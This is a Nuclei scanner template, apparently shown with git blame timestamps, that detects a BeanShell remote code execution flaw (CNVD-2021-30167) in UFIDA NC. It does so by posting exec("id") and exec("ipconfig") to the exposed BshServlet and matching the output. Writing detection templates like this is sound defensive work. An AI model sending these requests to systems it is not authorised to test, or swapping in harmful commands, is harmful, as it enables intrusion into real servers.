2021-06-03 17:17:18 +00:00
|
|
|
id: CNVD-2021-30167
|
2021-06-01 08:28:04 +00:00
|
|
|
|
|
|
|
info:
|
2021-06-03 17:17:18 +00:00
|
|
|
name: UFIDA NC BeanShell Remote Code Execution
|
2021-06-01 08:28:04 +00:00
|
|
|
author: pikpikcu
|
|
|
|
severity: high
|
2021-08-18 11:37:49 +00:00
|
|
|
reference:
|
2021-08-19 14:44:46 +00:00
|
|
|
- https://mp.weixin.qq.com/s/FvqC1I_G14AEQNztU0zn8A
|
|
|
|
- https://www.cnvd.org.cn/webinfo/show/6491
|
2021-06-03 17:17:18 +00:00
|
|
|
tags: beanshell,rce,cnvd
|
2021-06-01 08:28:04 +00:00
|
|
|
|
|
|
|
requests:
|
|
|
|
- raw:
|
|
|
|
- | #linux
|
|
|
|
POST /servlet/~ic/bsh.servlet.BshServlet HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
2021-06-02 12:37:32 +00:00
|
|
|
|
2021-06-03 17:17:18 +00:00
|
|
|
bsh.script=exec("id");
|
2021-06-01 08:28:04 +00:00
|
|
|
|
|
|
|
- | #windows
|
|
|
|
POST /servlet/~ic/bsh.servlet.BshServlet HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
|
2021-06-02 12:37:32 +00:00
|
|
|
bsh.script=exec("ipconfig");
|
2021-06-01 08:28:04 +00:00
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
|
|
|
|
- type: regex
|
|
|
|
regex:
|
2021-06-03 17:17:18 +00:00
|
|
|
- "uid="
|
2021-06-01 08:28:04 +00:00
|
|
|
- "Windows IP"
|
2021-06-03 17:17:18 +00:00
|
|
|
condition: or
|
|
|
|
|
|
|
|
- type: word
|
|
|
|
words:
|
|
|
|
- "BeanShell Test Servlet"
|
2021-06-01 08:28:04 +00:00
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
2021-06-03 15:44:13 +00:00
|
|
|
- 200
|